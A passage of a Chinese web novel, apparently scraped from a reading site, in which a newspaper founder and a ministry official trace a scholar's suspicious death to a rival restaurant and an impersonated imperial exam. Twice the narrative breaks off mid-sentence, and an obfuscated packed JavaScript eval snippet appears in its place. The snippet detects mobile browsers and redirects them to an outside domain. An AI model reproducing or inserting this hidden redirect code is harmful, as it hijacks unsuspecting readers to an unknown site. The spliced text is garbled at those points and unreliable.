见潘掌柜大骂两个伙计，孟允抒劝解道：“掌柜息怒。这是他们两人的一面之词，我们还应继续查证。即便此事真是福临楼的掌柜一手策划，这二人也只是被逼无奈，您骂他们也没用。” 孟允抒替那两名男子解了围，他们连声向孟允抒道谢。 “道谢就先免了，我且问你们，方才你二人所言是否属实？” 他们看了看孟允抒身边的许昭，慌忙答道：“那是自然，我们所说句句属实，不敢有半点虚言。” “很好。” 孟允抒转过身面向围观群众，将声音抬高几分，趁机打起了广告：“既然我已提出查明此事，就会负责到底。我是黎民报社的社长，自始至终坚持将新闻真相带给诸位读者。各位若是想了解此事内情与后续，可于明日买份黎民日报一览事件脉络。” 在大家七嘴八舌地议论起“黎民报社”的时候，孟允抒对那两名伙计说道：“二位要是想保全自身，就带我去找你们福临楼的掌柜当面对质。” 他们点头应允，潘掌柜也恭敬地作了一揖：“难怪孟姑娘机敏过人，原来是报社的探官。” 对于她提出的解决方案，潘掌柜则说道：“那就有劳孟社长带我跑一趟了。我这边抽不开身，先派个伙计随你一同前去。” 见事情已经告一段落，旁观的食客陆续散开，孟允抒转头向许昭说道：“那我先去福临楼，你吃完饭后就回官府吧。” “不，我也和你一起去。我也正巧要去福临楼中寻人。”沉默半晌的许昭抬起头来，“陈修远的那名同乡好友陈暄，正是福临楼里的帮工。” 22. 内幕 新闻与案件都是刻不容缓的事物，孟允抒和许昭带上揽月阁、福临楼的三名伙计，马不停蹄地赶往福临楼。 按照孟允抒事先交代过的流程，两名伙计打头阵走在最前方，进了福临楼的大门就大喊道：“掌柜，大事不好了！” 一个中年男子快步从后厨中走出，先是给他们打了个压低声音的手势，而后一脸不耐烦地问：“大呼小叫的干什么，你们没见到这儿有这么多客官吃饭？” 趁着他们进门的这会功夫，孟允抒已经迅速将福临楼上下打量了一番。 福临楼开张有些年头了，连大门上的朱漆都脱落不少。不过瘦死的骆驼比马大，即便福临楼的营收大不如前，肆内的食客依然不在少数，他们的高谈阔论溢满整间店铺，全无孟允抒此前想象的凄凉萧索。 从这点来看，福临楼的掌柜依然在乎自己的声誉，不至于破罐破摔。 只要他还有软肋，交涉起来就不会太困难。 掌柜将两个伙计训斥一通，望见他们身后跟着的孟允抒等人，看他们不像是来吃饭的样子，疑惑地问道：“这几位是？” “这位是刑部郎中许大人，这位是黎民报社的孟社长。”两个伙计又反过来向他们介绍道，“这就是我们店的刘掌柜。” 双方互相行了礼，孟允抒率先问道：“刘掌柜，这两位可是你们福临楼里的帮工？” 从方才刘掌柜的反应来看，这个问题的答案已经明了。 他点头道：“正是。不知几位前来是有何事？” 孟允抒瞥了眼店中的食客，不少人将目光投向他们，显然是被许昭身上的那件公服吸引了注意力。 “有些事我们想单独问问掌柜，不知您能否行个方便？” 许昭的名号再次发挥了作用，虽然刘掌柜尚不知晓他们来此处的目的，却也不敢怠慢。 “那是自然，几位请。” 刘掌柜带他们来到后院的房间内，几人落了座，刘掌柜差遣伙计去端茶，孟允抒阻拦道：“掌柜不必拘礼，我们要问的不是什么要紧事，若是您愿意配合，我们几句话就能说完。” 孟允抒直入正题，指着那两个帮工问：“请问掌柜，可是你唆使这两名伙计在揽月阁的饭菜中投放异物，凭空污人清白？” “什么，你们做过这事？”刘掌柜惊疑地看看两个伙计，向孟允抒大呼冤枉，“好端端的，我怎会让他们去揽月阁污蔑旁人，孟社长何出此言？” 孟允抒看了眼福临楼的两名伙计，他们赶忙上前劝道：“掌柜，方才在揽月阁时两位大人就已经查明真相，您快和他们说实话吧，坐牢可不是闹着玩的。” 刘掌柜还是一头雾水的模样：“什么真相？” 两个伙计向他概述了事件全过程，刘掌柜赶紧向孟允抒和许昭解释道：“两位大人不能相信他们说的话。平日里我对他们严加看管，他们对我积怨已久，如今故意使出这样下三滥的伎俩，再把这污名强加于我，这分明是报复！” 两个伙计先是一愣，而后又急又气地说道：“掌柜，我们是听令行事，如今事情败露，你不能弃我们于不顾！” 孟允抒并不相信这两人能想出这样曲折的计谋。 更何况，砸福临楼的招牌就等于砸他们自己的饭碗。 她不紧不慢地说道：“掌柜若是非要装傻充愣，那看来我们也不必在此白费口舌，回头自有刑部的人来上门接你。” 刘掌柜的脸色一白，孟允抒继续向他施压：“而且在揽月阁时，许多人曾围观此事，知晓内情。掌柜要是不怕众口铄金，损毁福临楼的清誉，那就当我多管闲事。” 说罢，她起身欲走。 “别，两位大人留步。”他讪笑着请孟允抒和许昭重新坐下，“大人对不住，我不是有意瞒你们。” 他叹了口气，老老实实地交代自己的动机。与那两个伙计所述一致，他的确是出于商业竞争的目的，这才出此下策。 说着，他又为自己的行为作辩解，咬牙切齿地说：“我知道这手段不光彩，可揽月阁的食器本身就不干净，他们昧着良心赚钱，我不过是把这事捅出去罢了。” 许昭发现一个重点问题，追问他道：“你为何说揽月阁的食器不干净？” “旁人都是这么说的。”刘掌柜回答，“上个月揽月阁中发生命案，陈修远死得突然，大家都说是他所用食器有问题，而潘掌柜为掩人耳目买通了县尉，对外宣称他是突发陈疾而亡。” 孟允抒问：“这些都只是传言，不足为信。你可有其他确切证据？” “我不是官府的人，案发当晚也不在现场，且与陈修远只有一面之缘，哪里来的证据。”刘掌柜说着，一拍脑袋想起一个关键人物，“对了，陈暄。” 听到这个名字，孟允抒和许昭都坐直身子，凝神听他继续讲下去。 “陈暄是陈修远的同乡好友，几年前来我们店里帮工，吃住都在铺中。他在休息时总是捧着书看，后来我问他得知，他是个秀才，参加了两次乡试都未能中举。他家中现在只剩下他一个人，就索性到京城做工，一边赚钱一边备考。” “大概三个月前，陈修远进京赶考，陈暄曾带他来福临楼中吃饭。我听陈暄说过去他们两家离得近，二人自幼相识，是二十几年的挚友。” 刘掌柜讲述着事情的来龙去脉，这些与许昭掌握的情报相吻合。 “殿试放榜后，陈暄看起来很高兴，嘴里念叨着陈修远十几载寒窗苦读，如今终于有了回报。” 在他的描述中，孟允抒觉得陈暄和陈修远的交情甚笃。 刘掌柜的语气中充满惋惜：“但在其后没过几天，陈修远就意外亡故了。从那天起陈暄就四处奔走，想为陈修远讨个公道。上诉未果后，他又跑去找揽月阁和柳玉成的麻烦，要求他们供出案件真相。” 许昭打断他的话提问：“陈暄为何认定这案子的判罚有误？” “他说陈修远的性格豁达爽朗，又格外注重自身修养，平日控制情绪得当，这么多年来都未曾复发陈疾，怎会突发心痹而亡？” “除此之外，潘掌柜的举动更是坐实了他的猜测。陈暄上门 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15432207|167268||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 几次后，潘掌柜没再赶走他，而是给他赔了八百两银子，让陈暄不要再揪住此事不放，否则他就去报官。” 刘掌柜敲敲桌子：“这真是奇怪。揽月阁中雇有打手，潘掌柜完全可以将陈暄拒之门外，时间久了他自然会消停。更何况陈暄无权无势，他能有多大的能耐，潘掌柜为何会因为他的纠缠轻易让步？” 孟允抒和许昭先前也曾对此产生怀疑，潘掌柜给出的理由不能服众。陈暄由此认定，陈修远的死一定与揽月阁有关。 “陈暄收了潘掌柜的银两交给陈修远家人，也不好继续在明面上闹事，但我知道他心里始终憋着一口气。”刘掌柜讲道，“我本来就和潘掌柜不对付，我们俩互相给对方明里暗里地使绊子，最近陈暄给我出了不少主意。” 刘掌柜回到当下的话题，对孟允抒和许昭说：“今日诬陷揽月阁之事也是他一手谋划，我顶多只是点了个头，你们应该找陈暄问罪。” 孟允抒明白了，陈暄这是存心报复揽月阁，故而借刀杀人。 许昭问道：“陈暄今日可在铺中？” “在。”刘掌柜赶紧对旁边的伙计吩咐道，“快去把陈暄叫来。” 几人聊了没几句话，伙计就快步进来说道：“两位大人，陈暄已经带到了。” 孟允抒抬眼看了看陈暄，这人中等个头，体型偏瘦，颧骨较高，这让他显得有些阴郁。 许昭的身份最容易辨认，陈暄直勾勾地盯着他，开口说道：“大人今日前来，是要把我抓去用刑，好让我自此闭嘴吗？” “哎，你怎么和许大人说话呢！”刘掌柜喝止他继续说下去，转头对许昭赔着笑说，“他就是这脾气，但是没什么坏心思，您别见怪。” 孟允抒心想，许昭较真的时候比陈暄说话难听多了，他对此肯定没什么感觉。 许昭问了陈暄一些案情相关的问题，又与他确认刘掌柜所言属实，看向他问道：“你为何会认为我是来抓你的？” 陈暄淡然说道：“我先前替修远申冤时，县衙的大人们常以各种理由把我抓起来挨板子，我都习惯了。” 重建信任绝非易事，许昭沉默许久，不知该如何回应。 “许大人和他们不一样。你若确实有冤，他定会助你查明真相。” 孟允抒的话掷地有声，像是在说一个不容置疑的事实，这让许昭和陈暄都转过头，一齐望向她。 陈暄质问孟允抒：“你与许大人是什么关系，又如何能作出此番保证？” “我与许大人是朋友。” 眼见着许昭的神情逐渐落寞，孟允抒不易察觉地碰碰他的胳膊，提醒他配合自己演戏，面带微笑地说道：“我是黎民报社的社长，此番同他一起前来调查事件，为的就是将真相昭告天下。横竖你也找不到突破口，不如与我们合作。” 陈暄的目光从两人脸上依次扫过，将信将疑地问：“你们需要我做什么？” “很简单，回到揽月阁找潘掌柜。”孟允抒对他说道，“你有什么疑问就尽管抛出来，看看潘掌柜能否对答如流。” 23. 纠缠不休 从见到陈暄的那一刻起，潘掌柜就是一副头痛欲裂的表情。 他带着几人寻了处空房坐下，刚落座就拧着眉头问孟允抒和许昭：“两位大人，你们帮我挽回声誉，我感激不尽。但你们把这个大麻烦带来干什么？” 看得出来，潘掌柜被陈暄折磨得不轻。 孟允抒顺着他的话茬，半是调侃半是提问道：“陈暄是一介草民，潘掌柜财大气粗，还拿他没办法？” “看您这话说的。”潘掌柜回答，“我能让他进不来揽月阁，却拦不住他在外面诋毁我们的名声。” 说到这，他苦着张脸看向陈暄：“我已经给你赔了银子，你为何还是不依不饶？” 陈暄的语气略带讥讽：“怪不得人皆爱财，有了银子就可以颠倒黑白，肆意篡改真相。” 潘掌柜气血上涌，他拍案而起，指着陈暄的鼻子反问：“你凭什么认定陈修远一案与揽月阁脱不了干系？就因为我好心赔了钱？好人当真做不得？” 掌柜的声音一句比一句高，许昭劝他先冷静，听听陈暄怎么说。 “潘掌柜完全可以对我的诉求不予理会，甚至以寻衅滋事为由把我交给官府处置，可你非但没有这么做，反而给我赔了银子，并且反复劝诫我就此罢手。由此可见，你不想让我把事情闹大。即使修远的事与掌柜无关，你也肯定对我有所隐瞒。” 陈修远的脸上显露出一丝哀伤：“我并非有意与掌柜作对，但我必须知晓修远的真正死因。当前我一筹莫展，只能试图从你这里获取线索。” 所以，陈暄就拼了命地给揽月阁找事，在此胡搅蛮缠。 孟允抒觉得，陈暄和萧谨言还有许昭都挺一根筋的。 或许这就是读书人的共性。 “但我确实与陈修远一案无关，你让我怎么说？”潘掌柜看起来一副快要崩溃的样子，“自案发后就总有传言说揽月阁的食器或饭菜不干净，为此我才特意出了新规。当时我经不起半点波折，就想尽快解决纠纷，你却不肯放过我。” 双方各执一词，他们陷入了僵局。 孟允抒见潘掌柜不为所动，只能另想他法。 她回顾案情，潘掌柜愿意给陈暄作出赔偿，证明他至少还有些良心。她或许可以把这点当作突破口。 孟允抒试探着说道：“潘掌柜，既然你问心无愧，又已经作出赔偿，陈暄却仍然毁你声誉，那就不必手下留情，和他在这白费口舌。此等无赖就该给他些教训尝尝。” 她看了看许昭：“正好许大人今日在此，待会顺便把陈暄带回官府，让他受点皮肉之苦，这下他就能老实一阵，不再打扰潘掌柜。” 许昭愣了愣，他不知道孟允抒唱的是哪出，却依然配合地点点头。 陈暄比他先回过神，大骂孟允抒道：“亏我方才信了你的鬼话，竟没看出你心如蛇蝎！” 孟允抒倒是希望他多骂两句，这样效果更逼真。 “住口。”孟允抒佯装怒道，“潘掌柜心善，你却对他死咬不放，不知丧尽天良的人是谁！” 她回头对许昭说道：“许大人，麻烦您快把这泼皮抓走，好还潘掌柜一个安宁。” 见许昭起身去押陈暄，潘掌柜慌忙阻拦道：“等等。” 他脸上挤出一个微笑：“不劳许大人费心，此事我们私下解决即可。” 孟允抒心里有了底。 陈暄说得没错，潘掌柜确实心里有鬼。 孟允抒故作惊讶道：“掌柜这是何意？” 许昭也察觉到潘掌柜的反应异常，附和着孟允抒问道：“陈暄屡次找你的麻烦，现今我们把他依法处置，你为何要阻拦？” “我确实不胜其烦，但他犯的都是些小事，两位不用如此大动干戈。” “不行。”许昭斩钉截铁地说道，“国有国法，掌柜不该袒护他。” 这句话实在太符合许昭的人设，孟允抒不知道他是演的还是真的。 在两人的拉扯之中，潘掌柜急得跺脚，口不择言道：“你们一个两个怎么都犟成这样，这案子查下去对你们有什么好处？” 在场所有人都听出他的弦外之音。 许昭的神色一凛：“听掌柜的意思，你是劝我们不要深究此案？” 潘掌柜连忙辩解：“不是，我……” “扑通”跪地的声音打断了他的话。 陈暄双膝跪地，可腰板却挺得笔直，神情庄严。 他高声说道：“潘掌柜，修远与我是至交好友，我不能就这样看着他不明不白地走了。我恳求您将实情告知于我。” 他弯下腰去，将额头磕向地面。 “拜托了。” 潘掌柜的眉头拧得更紧了：“你这是做什么，赶紧起来！” 陈暄重新站起后，潘掌柜背起手摇着头，在屋内快步走了几个来回，最后重重叹了口气，坐到椅子上。 他将视线投向屋中的地毯，用目光细细描摹着上面的图案。 “我从六岁起就四处流浪，过着饥一顿饱一顿的日子，靠着给人当学徒做工攒了些钱，后来慢慢开起了这间食肆。” 潘掌柜没有过多描述这些经历的细节，但不用想也知道，一个孤苦伶仃的乞儿白手起家，一步步走到今天，其中定是饱尝心酸。 “其实，我幼时并未想过长大后我会从商。若是能够选择，我更希望有机会读书入仕。”他抬眼看看陈暄，“你和陈修远都是出身贫寒的读书人，你们遭此劫难却申冤无门，我于心不忍，因此主动赔了银两。” 就在孟允抒以为潘掌柜要把内幕告诉他们时，他却来了个转折句。 “可揽月阁是我毕生心血，我必须谨慎行事。” 潘掌柜看着眼前的三人：“经商之人难免要与各方势力打交道，要学会圆滑处事，许多事辨得太清对自己没好处。这个道理同样适用于其他方面。” 他语重心长地说道：“几位听我一句劝，此事吃力不讨好，你们别再查下去了。” 根据潘掌柜所说的话，孟允抒已经可以肯定，他的确知道案件的隐情。 而且听他的口气，其中应当还牵扯到一些权贵或富庶之人。潘掌柜像是顾忌于此，才迟迟不肯对他们如实相告。 孟允抒轻叹一声：“多谢掌柜劝告，我也明白您的苦衷。” 在过去的采访中，她也经常能见到因为害怕祸及自身而故作无知的当事人。 不是每个人都有勇气讲真话。 “只是我有一问想请潘掌柜作答。”孟允抒转而问他，眼中迸射出锐利的光芒，“若人人都像您这般装聋作哑，倘若某日您蒙受冤屈，旁人却对此置若罔闻，掌柜又该当如何？” 潘掌柜的面色有一丝松动：“话是这么说，可是……” “潘掌柜，我出身寒门，靠着读书考试才得以入朝为官，一路走来见过太多不平，也经历了不少磨难。” 许昭看了看端坐在椅子上的陈暄，像是见到了昔日的自己。 “现今我既然有职权在身，就绝不会对冤情视而不见。此案我一定会彻查到底。” 许昭的语气坚决，潘掌柜忍不住问他：“为几个不相干的小人物，大人甘愿以身涉险，这样值得吗？” 对此，许昭只作出了一句简短的回答。 “我先前也是和他们一样的‘小人物’。” 在潘掌柜沉默之际，许昭又开口说道：“我曾听闻许多屈打成招的案例，所以在为官之后，若非必须，我不会对人用刑。” 孟允抒听出来了，这是一句自证，也是一句警告。 许昭这是先礼后兵。 潘掌柜显然也明白了许昭的弦外之音。在他们的软硬兼施下，他认命地往椅背上一靠。 终于，他吐露出一条线索。 “大人若是有心查明此案，应当从柳玉成处着手调查。” 潘掌柜抬起头看向许昭，将他案发后的经历一一道来。 “那日陈修远意外身亡，县衙的人来勘查了现场，他们了解过大致情况，将我与柳玉成带走审问。审讯结束后，因为案件真相尚且不明，我与柳玉成都被暂时关押在牢中，听候发落。” “直至此时我都没明白发生了什么，万分忧心于自身清白。柳玉成见状和我搭上了话，他劝我不要细究此事，免得惹祸上身。柳玉成说，只要我肯听从县衙的安排，并且对今日之事守口如瓶，他就能保证我性命无虞，同时揽月阁的声誉也不会受损，对我作出的罚金将由他承担。” “我对此将信将疑，却也不敢轻举妄动。过了几日，结果的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15444403|167268||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 确如柳玉成所说，此事就这样被轻轻放下，他也兑现诺言，给了我五十两银子。” 潘掌柜回忆着整件事当中的蹊跷之处：“柳玉成事先就能知道判决结果，从那几日县衙的人对我们的态度也能看出，他应该已经提前打点好了一切。既然他能摆平这种人命官司，背后势力定是不容小觑。” 孟允抒和许昭对视一眼，交换了一下彼此的观点。 如果潘掌柜没有说谎，那么柳玉成的嫌疑很大。 “多谢潘掌柜坦言相告，稍后我会派人在暗中防守，近日将由他们保护你的安全。” 此举的另一个目的就是在揽月阁处布防盯梢。 许昭作出下一步打算，对孟允抒和陈暄交代道：“事不宜迟，我马上回官府，带上人前去柳玉成的住处。” “大人且慢。”陈暄上前一步说道，“柳玉成家恐怕已经是人去屋空了。自判罚结果公布后，我曾找过柳玉成几回，除了前两次他在家以外，后面我就再也没能敲开他的大门.他周边的街坊邻居都说，他已经搬离了那里。” 柳玉成的这一举动更是让他的作案嫌疑直线上升。 许昭略一思索后说道：“既是如此，我先和几人前去他家中查看情况，若他的确已经搬离那里，我再发布公告悬赏寻人。” “我和你一起去。”孟允抒起身说，“如有需要，我也可以将此事登在小报上，发动民众提供线索。” 许昭开口想说些什么，他瞥了眼在场的其余两人，却止住了话头。 在离开揽月阁，支走陈暄之后，他这才向孟允抒说出方才没说出口的话。 “姑娘请回报社吧，接下来的事你就别参与了。” 孟允抒的调查骤然受阻，她连忙问许昭：“是因为公子查案不方便外人在场吗？” 许昭飞快地瞟了她一眼，又迅速将目光从她身上挪开，故作镇定地点点头。 孟允抒从他的表现中就能看出，许昭肯定在瞒她。 她停下脚步，强硬地命令道：“许公子，你看着我。” 许昭转过头照做。 “你告诉我，为什么突然不让我继续往下查了？” 见许昭眼神飘忽，孟允抒眼疾手快地扶住他的脑袋，不让他把头转回去。 孟允抒装出委屈的模样说道：“那日我与你谈心之后，还以为公子此后就愿意与我坦诚相待，原来只是我一厢情愿。” 她失望地收回手，却被许昭急忙攥住手腕：“姑娘别误会，我不是这个意思。” 见孟允抒在一旁长吁短叹，许昭无措地解释道：“正如潘掌柜所说，此事太过危险，其中不知会牵涉何方势力，我担心你会被波及。” 孟允抒察觉到自己手腕上的力道更重了些，许昭像是极力想要抓住她。 许昭的声音非常低落：“我不能再让我的亲友遭遇类似的事。” 他指的当然是过去揭发知县罪证一事。 孟允抒蓦地发现，这桩案件中有诸多细节能让许昭触景生情。 寒门学子平白受冤，县衙官员受贿渎职，陈暄为挚友两肋插刀，身边人被卷入事件漩涡。 历史总是惊人地相似。 如果许昭做不到坦然面对这些，那他就永远无法摆脱过去的阴霾。 “许公子，我且问你，在你秉公直言、追求真相时，可曾害怕得罪旁人？” 许昭摇头：“不怕。这是我分内之事，若非如此，我做官就毫无意义。” 孟允抒笑笑：“既然公子不怕，那我自然也不怕，请公子信我。” 察觉到许昭卸下手上的力道，孟允抒抽出手腕反握住他的手：“再者，追寻真相也是我的目标。我与公子想做的事只是恰巧一样，无论遭遇什么都缘于我自身，绝非是因为受你牵连。你不必将责任全部归结在自己身上。” 许昭愣了愣神。孟允抒这话既像是安慰又像是斥责，但她的意思很明确，她是自己主动想这样做，而非作为许昭的附属无辜受累。 她松开许昭的手，半是示威半是调侃道：“要是公子不愿同我合作，我也不可能就此罢休。我会通过其他方式继续查下去。” “不，我明白姑娘的志向了。”许昭释然地笑笑，“那就请你与我同行，助我破获此案。” 24. 线索 正如陈暄所说，孟允抒一行人赶至柳玉成家却扑了个空，破门而入后并未获得更多线索。面对许昭的询问，柳玉成的左邻右舍也只是摇头，言说不知他身在何处。 几人无功而返，于是孟允抒和许昭按照起初的计划分头行动，各自打探柳玉成的踪迹。 孟允抒坐在办公室内，推开桌上堆积如山的纸张，腾出一小块空地将胳膊搭上去，端详着今日将要发行的小报。 她翻过几张纸，在看到那张带着画像的寻人启事时，动作随之一顿。 报社已经连续两日刊登有偿寻找柳玉成的消息，她也陆续收集了些线索，但大部分情报的真实性不敢恭维。 许昭那边的调查也还没有眉目。 今日已经是第三天，距离任务截止期限仅剩四日，但事情依然没有半分进展。 孟允抒盯着画像上的人物陷入沉思。根据潘掌柜和陈暄的描述，柳玉成相貌清俊，打扮简朴，气质内敛儒雅，前几日她和许昭前往他家也发现，柳玉成的住处可用“家徒四壁”来形容。 无论从哪个方面来看，都难以让人将他与蓄意谋杀的罪名联系在一起，柳玉成也并不像是有手眼通天的本事。 孟允抒重新梳理这桩案件以及他们掌握的信息，当下他们最欠缺的是确切的证据。 许昭先前曾提出此案的几个疑点，但凭它们及陈暄、潘掌柜的证词，目前还不足以直接给任何人定罪。 “孟社长，有人找您，说是有关于柳玉成的线索。” 排云的笑声打断了孟允抒的思考，她点头道：“请他进来。” 随着排云作出邀请的动作，门口赫然出现一张熟悉的面庞。 “孟社长日理万机，我贸然打扰，实在抱歉。” “睿言？”孟允抒对他的突然到访有些意外，起身请他坐下问，“这会辰时未过，你是怎么溜出来的？” “今日我清闲无事，点了卯之后就没人管我，我便寻了个机会跑出官府。”萧睿言不慌不忙地端杯抿了一口，赞叹道，“孟社长这里的茶果真不俗。” 萧睿言算是报社的兼职探官，平日里的朝堂新闻多半来自于他，孟允抒也经常能在官府散值之前见到他的身影。 只是今日萧睿言一大早就来报社，这还是头一回。 孟允抒言归正传：“方才你说有柳玉成的线索？” “正是。”萧睿言见孟允抒桌上正巧搁着那则寻人启事，他顺手将小报拿过来笑道，“我若是提供线索，孟社长可要兑现诺言，为我支付报酬。” “那是自然。”孟允抒转而问道，“但你为何不直接将线索告诉许郎？” 她和许昭分别发布告示的目的是尽可能多地推广这则信息，朝廷内部的消息流通显然比他们的小报更快，她不明白萧睿言为什么要舍近求远。 “就我知道的信息而言，柳玉成的事恐怕是拔出萝卜带出泥。我是想凭借情报获利，却不愿引火上身。”萧睿言回答，“官员间利益纠葛错综复杂，若我向许大人提供线索，难保不会走漏风声。” 相比之下，孟允抒接待的访客鱼龙混杂，为萧睿言提供了浑水摸鱼的良好机会。 孟允抒从萧睿言的话中听得出，他掌握着一个重要线索。她站起身请萧谨言去隔壁：“我们换个地方说话。” 中庭里那个最小的房屋就是会客间，与线人密谈、读者来访等活动都会在此进行。 孟允抒与萧睿言重新落座，他再次扫了眼柳玉成的画像，直入正题道：“我不知柳玉成身在何处，但我上次见到他时，他用的并非这个姓名。” 萧睿言放下手中的小报，坐直了身子。 “两个月前我参加会试，他曾在我之前排队入场。他衣着简朴，身形清瘦，但身上背的包袱却是崭新的，用的也是上等布料，因而我多留意了他几眼。当时他向考官所报的名号是‘方知瑜’。” 方知瑜是方家的二公子，在权贵富户多如牛毛的京城，方家虽不是首屈一指的世家大族，但也算是有几分名气的富商。 尽管十分震惊，孟允抒依然压低声音问：“你是说，柳玉成是冒名顶替方知瑜前去应试？” 科举舞弊是重罪，更何况他参加的还是科举中的高级考试，这简直就是在皇上眼皮子底下顶风作案。 萧睿言笑笑，将自己从这件事中择了个干净：“我可从没说过这样的话，只是将我所知道的情况如实相告，具体如何决断还要看孟社长和许大人。” 孟允抒早就摸清了萧睿言“不粘锅”的特性，满口答应着请他继续讲下去。 “会试结束后，方知瑜排名第九，但殿试那日我却不曾见过他。”萧睿言指指柳玉成的画像，“是另一个‘方知瑜’来参加的考试。” 萧睿言的话意味深长，他明里暗里地提醒孟允抒，这件事一定暗藏玄机。 殿试是由皇帝亲自主持，在这一步可没有哪个不要命的敢去替考。这次来应试的应当是方知瑜本人。 “殿试放榜那日，我通读所有考生姓名，在最后一行看到了方知瑜的名字。来参加琼林宴的方知瑜与参加殿试的是同一人，我曾在席间同他交谈，他言说当时他身体不适，发挥欠佳，故而得此成绩。” 在科考中，殿试这一环节不会淘汰考生，所有的应试者都将一齐参与排名。可以这么说，一个人若是通过会试，那么他做官就是板上钉钉的事。 所以，如果柳玉成真是替方知瑜前去考试，帮到这一步也算是功成身退。 孟允抒听完萧睿言的叙述，除过对陈修远一案作出新猜想以外，同时在心底感叹萧睿言实在狡猾。 在他发现有两个方知瑜时，就应当意识到矛盾所在，但他却一直默不作声，直至今日借着许昭查案的东风才出来揭发。 他这是在避免成为那个引人注目的出头鸟。 孟允抒半是打趣半是内涵地说：“你真是好记性，这么久了居然还记得柳玉成的样貌。” 萧睿言反而夸赞她道：“那是因为孟社长慧眼识珠，找的画师技艺精湛，令人一眼便知此人模样。若非如此，我哪能想得起两月以前的事？” 经过这段时间的合作与相处，孟允抒知道萧睿言是打太极的高手，有话直说反而能提高两人的沟通效率。 “你早已察觉方知瑜有科举舞弊之嫌，却等到今日的机会才告发他。”孟允抒扬起唇角，但她的眼神中没有半分笑意，“你还有多少秘密瞒着旁人？” 当初创办报社时萧睿言突然蹦出来支持她，为她提供诸多帮助，她本就不全然相信他。起初她想着，等以后与萧睿言认识的时间久了，或许就能了解他的想法与目的，但如今孟允抒却越发觉得他深不可测。 面对孟允抒不加掩饰的猜疑，萧睿言则显得很坦然。 他还是平日那副翩翩君 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“我想要借助你和许大人的力量。从这点来说，我的确是在利用你。” 他将头垂下，又复而抬起，淡然一笑道：“如今政党之争愈演愈烈，谁都猜不到明日的政局是何种模样。我不愿与佞臣同流合污，却也不具备许大人舍生取义的气节，唯一能做的就是辅助你们这样的人，让官场不至于一片黑暗，百姓不至于申冤无门。” 孟允抒心里五味杂陈。她沉默良久后，轻轻说出一句话。 “抱歉，是我误会你了。” 萧睿言是个聪明人，她很庆幸他并不是站在自己的对立面。 会客间的门被匆忙叩响，萧谨言在外面喊道：“孟社长，你和睿言的会谈结束了吗？” “稍等。”孟允抒应了声，她起身开门问萧谨言，“你有什么事？” “今日有名编辑请假了，我这边缺人。我方才听排云说睿言来了，想找他帮忙。”萧谨言进了门，他看见坐在里面悠闲喝茶的萧睿言，气不打一处来，“你倒好，还有心思在这慢慢品茶！没事干就赶紧过来！” 孟允抒早就对这兄弟俩的相处模式习以为常，她不想被拉进两人的纷争中，又恰好要把新情报分享给许昭，于是寻了个借口告辞道：“那我先失陪了，你们聊。” “会客间不是吵架的地方，我们出去说。”萧谨言严格遵守规定，拽着萧睿言跟孟允抒一同出了门，对她说道，“你先去忙吧，这里就交给我和秋掌柜。” 在几人分别之后，孟允抒快要离开中庭时，却突然被萧睿言叫住。 “孟社长，我今日要在报社帮忙，还得忍受二哥的絮叨，没有功劳也有苦劳。”他图穷匕见，指着办公室笑着问孟允抒，“你这里的茶相当不错，我能再来几杯吗？” 萧谨言不满地在一旁训斥他：“你是来帮忙的还是来喝茶的？再说我哪里絮叨？” 孟允抒看看笑容满面地站在庭院中央的萧睿言，不知为何忽而想起，他今年刚满二十岁，放在现代也就是普通大学生的年纪。 这样一想，此前她将各种阴谋诡计与萧睿言联系起来，与他勾心斗角、反复揣摩他的心理，这一切都突然显得有些好笑。 孟允抒赶着去做正事，头也不回地摆了摆手。 “你想喝多少就喝多少吧，我准了。” 25. 教书先生 孟允抒赶往刑部，用“据不知名人士透露”这样的名号，将萧睿言所述情况反映给了许昭。 收到情报后不多时，许昭前往贡院调取“方知瑜”的原卷，暗中收集方知瑜本人和柳玉成的字迹进行比对，又寻了个由头与方知瑜谈论考题，基本可以确定柳玉成替考之事属实。 随后不久，又有几名知情人向许昭提供线索，言说柳玉成正在京郊的清源村中当教书先生。为了不打草惊蛇，许昭派人密切关注方知瑜的动向，同时带上陈暄和两名下属，与孟允抒迅速赶往清源村。 时间紧急，孟允抒和许昭在车内坐定后，这才得了空，谈论彼此对案件的猜测。 马车在路上疾驰，将两人的声音遮盖了大半。 “陈修远是在进京赶考后才与柳玉成结识。根据柳玉成的口供，两人是在书肆中买书相遇，因对书中论点所持观念一致，故而聊得十分投机。” 许昭回忆着卷宗记录，将他们已获取的情报串联起来。 “且不论柳玉成这段证词的真伪如何，他们两人在同一时间、同一地点参加科考，就有碰面的可能。” 他的言下之意是，陈修远或许知道柳玉成替考之事。 这是对陈修远一案最合理的解释。如此一来，柳玉成就有了作案动机，方知瑜也具有买通县衙官员的实力。 纵观当下他们所掌握的信息，所有人的证词都指向了柳玉成。只有先找到他，才能进一步推断案件真相。 想到这孟允抒有些纳闷，她问许昭：“现今距离县衙结案已是半月有余，柳玉成若是畏罪潜逃，他为何不趁早离开京城隐姓埋名，而是躲在京郊？” “清源村是柳玉成的故乡，在那里生活到底方便些。况且陈修远一案已经尘埃落定，他大概也存着侥幸心理。”许昭转而说道，“但以上只是我个人猜测，具体原因如何，恐怕只有我们亲自问过柳玉成后才能得知。” 调查再次陷入停滞，孟允抒只能将注意力挪到当下，听着马蹄叩击地面的脆响。 